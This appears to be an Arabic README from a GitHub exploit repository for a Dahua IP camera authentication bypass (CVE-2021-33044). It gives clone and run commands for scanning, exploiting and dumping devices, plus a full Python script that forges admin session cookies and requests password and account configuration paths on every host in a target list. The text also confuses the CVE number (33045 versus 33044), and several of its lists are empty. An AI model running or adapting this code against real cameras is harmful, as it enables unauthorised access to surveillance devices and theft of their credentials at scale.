
DAHUA_AUTH-BYPASS-CVE-2021-33044
كاميرات IP من Dahua هي أجهزة إنترنت الأشياء شائعة الاستخدام في أنظمة المراقبة الأمنية. ونظرًا لانتشارها في الشبكات الداخلية أو الوصول إليها عبر الإنترنت، فإن الثغرات الأمنية في كاميرات IP قد تؤثر بشكل خطير على الخصوصية وأمن المعلومات.
CVE-2021-33045 هي ثغرة أمنية موجودة في بعض سلسلة كاميرات Dahua، تسمح بالوصول غير المصرح به إلى موارد التهيئة الداخلية دون الحاجة إلى مصادقة صالحة. تنشأ هذه الثغرة من آلية التحكم في الوصول غير المحكمة في البرنامج الثابت للجهاز.
| العنصر | المحتوى |
|---|---|
| CVE | CVE-2021-33044 |
| النوع | تجاوز المصادقة |
| المستوى | حرج (CVSS ~9.8) |
| المصادقة | لا حاجة للمصادقة |
| التأثير | كاميرات Dahua / DVR / NVR |
تنشأ الثغرة من تصميم مصادقة غير آمن في البرنامج الثابت لكاميرات Dahua:
هذا يسمح للمهاجم بـ:
المراجع:
→ يرسل العميل طلب HTTP مع ملف تعريف ارتباط عشوائي
→ تتحقق الكاميرا من ملف تعريف الارتباط على مستوى الواجهة
→ لا يتم التحقق من صحة الجلسة في النهاية الخلفية
→ يُسمح بالوصول المباشر إلى نقاط النهاية الداخلية للتكوين
→ يتم إرجاع البيانات الحساسة
| الملف |
|---|
# استنساخ المستودع
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# مسح الشبكة الفرعية (المنافذ مطلوبة)
python dahua_scanner.py https://example.com -p 80 8080 8800
# مضيف واحد مع منفذ
python dahua_scanner.py https://example.com
المنافذ الشائعة لـ Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # تفريغ الجهاز بعد التجاوز
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
يستخدم السكريبت مكتبة requests ويقوم بتعطيل تحذيرات SSL بشكل نشط لتعطيل تحذيرات SSL
دالة dump_accounts(ip, port=80) هي الدالة الرئيسية المسؤولة عن فحص جهاز الكاميرا.
الوظيفة الرئيسية للدالة هي:
محاكاة ملفات تعريف الارتباط للمصادقة. تستخدم الدالة قيم ملفات تعريف الارتباط مثل:
userName=adminuserLevel=1sessionID=00000000في إصدارات الكاميرات المتأثرة، لا تتحقق النهاية الخلفية من sessionID الفعلي، مما يؤدي إلى اعتقاد النظام أن الطلب مرسل من حساب مسؤول صالح.
يقرأ السكريبت قائمة الأهداف من ملف الإدخال، ويستدعي دالة الفحص لكل جهاز بدوره. يتيح هذا الأسلوب تقييم العديد من الكاميرات بشكل تلقائي.
تم تطوير هذه السكريبتات بناءً على:
حالة الاختبار:
هذا المشروع:
| الغرض |
|---|
| CVEs |
|---|
dahua_scanner.py | اكتشاف الشبكة — البحث عن كاميرات Dahua في الشبكة الفرعية | الكشف |
dahua_exploit.py | أداة المسح متعدد الثغرات — التحقق من جميع الثغرات الأمنية. | الكل |
dahua_auth_bypass.py | تجاوز المصادقة المتخصص مع خيار --dump | CVE-2021-33044 |